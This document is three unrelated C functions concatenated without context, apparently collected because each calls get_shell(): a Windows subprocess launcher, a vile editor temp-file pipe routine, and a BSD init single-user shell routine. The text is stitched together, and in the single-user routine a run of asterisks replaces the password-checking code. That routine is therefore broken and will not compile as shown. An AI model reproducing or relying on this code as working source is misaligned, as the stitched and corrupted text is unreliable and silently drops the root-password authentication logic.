/* Start a subprocess with run_command_redirected and register it with the termination handler. Takes care of o.shellexec. Returns the PID of the subprocess or -1 on error. */ static int start_subprocess(char *cmdexec, struct subprocess_info *info) { char *cmdbuf; int pid; if (o.execmode == EXEC_SHELL) { /* Run with cmd.exe. */ const char *shell; size_t cmdlen; shell = get_shell(); cmdlen = strlen(shell) + strlen(cmdexec) + 32; cmdbuf = (char *) safe_malloc(cmdlen); Snprintf(cmdbuf, cmdlen, "%s /C %s", shell, cmdexec); #ifdef HAVE_LUA } else if (o.execmode == EXEC_LUA) { char exepath[8192]; char *cmdexec_escaped, *exepath_escaped; int n; n = GetModuleFileName(GetModuleHandle(0), exepath, sizeof(exepath)); if (n == 0 || n == sizeof(exepath)) return -1; cmdexec_escaped = escape_windows_command_arg(cmdexec); if (cmdexec_escaped == NULL) return -1; exepath_escaped = escape_windows_command_arg(exepath); if (exepath_escaped == NULL) { free(cmdexec_escaped); return -1; } n = asprintf(&cmdbuf, "%s --lua-exec-internal %s", exepath_escaped, cmdexec_escaped); free(cmdexec_escaped); free(exepath_escaped); if (n < 0) return -1; #endif } else { cmdbuf = cmdexec; } if (o.debug) logdebug("Executing: %s\n", cmdbuf); pid = run_command_redirected(cmdbuf, info); if (cmdbuf != cmdexec) free(cmdbuf); if (pid == -1) return -1; if (register_subprocess(info->proc) == -1) { if (o.verbose) logdebug("Couldn't register subprocess with termination handler; not executing.\n"); TerminateProcess(info->proc, 2); subprocess_info_close(info); return -1; } return pid; }
static int tmp_inout_popen(FILE **fr, FILE **fw, char *cmd) { char buf[NFILEN + 128]; DWORD dummy, len; int rc, term_status, tmpin_fd; TRACE(("tmp_inout_popen cmd=%s\n", cmd)); proc_handle = BAD_PROC_HANDLE; handles[0] = handles[1] = handles[2] = INVALID_HANDLE_VALUE; tmpin_fd = stdin_fd = stdout_fd = BAD_FD; tmpin_name = stdin_name = stdout_name = NULL; set_console_title(cmd); do { if (fr) { *fr = NULL; if ((stdin_name = _tempnam(getenv("TEMP"), "vile")) == NULL) break; if ((stdin_fd = open(stdin_name, O_RDWR|O_CREAT|O_TRUNC|O_TEXT, _S_IWRITE|_S_IREAD)) == BAD_FD) { break; } handles[2] = handles[1] = (HANDLE) _get_osfhandle(stdin_fd); if (! fw) { /* * This is a read pipe (only). Connect child's stdin to * an empty file. Under no circumstances should the * child's stdin be connected to a device (else lots of * screwy things will occur). In particular, connecting * the child's stdin to the parent's stdin will cause * aborts and hangs on the various Win32 hosts. You've * been warned. */ if ((tmpin_name = _tempnam(getenv("TEMP"), "vile")) == NULL) break; if ((tmpin_fd = open(tmpin_name, O_RDONLY|O_CREAT|O_TRUNC, _S_IWRITE|_S_IREAD)) == BAD_FD) { break; } handles[0] = (HANDLE) _get_osfhandle(tmpin_fd); } else { /* * Set up descriptor for filter operation. Note the * sublteties here: exec'd shell is passed a descriptor * to the temp file that's opened "w". The editor * receives a descriptor to the file that's opened "r". */ if ((*fr = fopen(stdin_name, "r")) == NULL) break; } } if (fw) { *fw = NULL; /* create a temp file to receive data from the editor */ if ((stdout_name = _tempnam(getenv("TEMP"), "vile")) == NULL) break; if ((stdout_fd = open(stdout_name, O_RDWR|O_CREAT|O_TRUNC|O_BINARY, _S_IWRITE|_S_IREAD)) == BAD_FD) { break; } if ((*fw = fdopen(stdout_fd, "w")) == 0) break; /* * we're all set up, but can't exec "cmd" until the editor * writes data to the temp file connected to stdout. */ shcmd = cmd; /* remember this */ return (TRUE); } /* This must be a read (only) pipe. Appropriate to exec "cmd". */ rc = (exec_shell(cmd, handles, TRUE /* hide child wdw */ ) == BAD_PROC_HANDLE) ? FALSE : TRUE; if (! rc) { /* * Shell process failed, put complaint in user's buffer, which * is currently proxied by a temp file that the editor will * suck in shortly. */ len = (DWORD) (lsprintf(buf, SHELL_ERR_MSG, get_shell()) - buf); (void) WriteFile(handles[1], buf, len, &dummy, NULL); FlushFileBuffers(handles[1]); } else { /* wait for exec'd process to exit */ (void) cwait(&term_status, (CWAIT_PARAM_TYPE) proc_handle, 0); TRACE(("...CreateProcess finished waiting in tmp_inout_popen\n")); close_proc_handle(); } /* * When closing descriptors shared between parent and child, order * is quite important when $shell == command.com . In this * situation, the descriptors can't be closed until the exec'd * process exits (I kid you not). */ close_fd(stdin_fd); (void) close(tmpin_fd); /* let the editor consume the output of the read pipe */ if ((*fr = fopen(stdin_name, "r")) == NULL) { /* * impossible to put error in user's buffer since that file * descriptor is closed. */ sprintf(buf, "[error opening temp file \"%s\": %s]", stdin_name, strerror(errno)); lastditch_msg(buf); break; } return (rc); } while (FALSE); /* If we get here -- some operation has failed. Clean up. */ tmp_cleanup(); return (FALSE); }
/* * Bring the system up single user. */ state_func_t single_user(void) { pid_t pid, wpid; int status; sigset_t mask; const char *shell; char *argv[2]; #ifdef SECURE struct ttyent *typ; struct passwd *pp; static const char banner[] = "Enter root password, or ^D to go multi-user\n"; char *clear, *password; #endif #ifdef DEBUGSHELL char altshell[128]; #endif if (Reboot) { /* Instead of going single user, let's reboot the machine */ sync(); alarm(2); pause(); reboot(howto); _exit(0); } shell = get_shell(); if ((pid = fork()) == 0) { /* * Start the single user session. */ setctty(_PATH_CONSOLE); #ifdef TESTBED #define TERMCMD "/bootcmd" if (access(TERMCMD, F_OK) == 0) { FILE *fp; char cmd[256], *bp; char *myargv[3]; /* * Very simple; the file contains the path of a * command to run. No arguments supported, sorry. */ if ((fp = fopen(TERMCMD, "r")) == NULL) { /* Lets avoid loops! */ unlink(TERMCMD); goto skip; } if (fgets(cmd, sizeof(cmd), fp) == NULL) { fclose(fp); /* Lets avoid loops! */ unlink(TERMCMD); goto skip; } fclose(fp); /* Lets avoid loops! */ unlink(TERMCMD); if ((bp = rindex(cmd, '\n'))) *bp = '\0'; if (access(cmd, X_OK) != 0) { emergency("%s does not exist!", cmd); goto skip; } /* See comment below */ sigemptyset(&mask); sigprocmask(SIG_SETMASK, &mask, (sigset_t *) 0); char name[] = "-sh"; myargv[0] = name; myargv[1] = cmd; myargv[2] = 0; execv(_PATH_BSHELL, myargv); stall("can't exec %s for %s: %m", _PATH_BSHELL, cmd); } /* * If something goes wrong, we want to sit in single user mode * so that we might catch the error. Not sure, might have to * do something fancier, like perhaps add a state transition * for this */ skip: #endif #ifdef SECURE /* * Check the root password. * We don't care if the console is 'on' by default; * it's the only tty that can be 'off' and 'secure'. */ typ = getttynam("console"); pp = getpwnam("root"); if (typ && (typ->ty_status & TTY_SECURE) == 0 && pp && *pp->pw_passwd) { write_stderr(banner); for (;;) { clear = getpass("Password:"******"single-user login failed\n"); } } endttyent(); endpwent(); #endif /* SECURE */ #ifdef DEBUGSHELL { char *cp = altshell; int num; #define SHREQUEST "Enter full pathname of shell or RETURN for " write_stderr(SHREQUEST); write_stderr(shell); write_stderr(": "); while ((num = read(STDIN_FILENO, cp, 1)) != -1 && num != 0 && *cp != '\n' && cp < &altshell[127]) cp++; *cp = '\0'; if (altshell[0] != '\0') shell = altshell; } #endif /* DEBUGSHELL */ /* * Unblock signals. * We catch all the interesting ones, * and those are reset to SIG_DFL on exec. */ sigemptyset(&mask); sigprocmask(SIG_SETMASK, &mask, (sigset_t *) 0); /* * Fire off a shell. * If the default one doesn't work, try the Bourne shell. */ char name[] = "-sh"; argv[0] = name; argv[1] = 0; execv(shell, argv); emergency("can't exec %s for single user: %m", shell); execv(_PATH_BSHELL, argv); emergency("can't exec %s for single user: %m", _PATH_BSHELL); sleep(STALL_TIMEOUT); _exit(1); } if (pid == -1) { /* * We are seriously hosed. Do our best. */ emergency("can't fork single-user shell, trying again"); while (waitpid(-1, (int *) 0, WNOHANG) > 0) continue; return (state_func_t) single_user; } requested_transition = 0; do { if ((wpid = waitpid(-1, &status, WUNTRACED)) != -1) collect_child(wpid); if (wpid == -1) { if (errno == EINTR) continue; warning("wait for single-user shell failed: %m; restarting"); return (state_func_t) single_user; } if (wpid == pid && WIFSTOPPED(status)) { warning("init: shell stopped, restarting\n"); kill(pid, SIGCONT); wpid = -1; } } while (wpid != pid && !requested_transition); if (requested_transition) return (state_func_t) requested_transition; if (!WIFEXITED(status)) { if (WTERMSIG(status) == SIGKILL) { /* * reboot(8) killed shell? */ warning("single user shell terminated."); sleep(STALL_TIMEOUT); _exit(0); } else { warning("single user shell terminated, restarting"); return (state_func_t) single_user; } } runcom_mode = FASTBOOT; return (state_func_t) runcom; }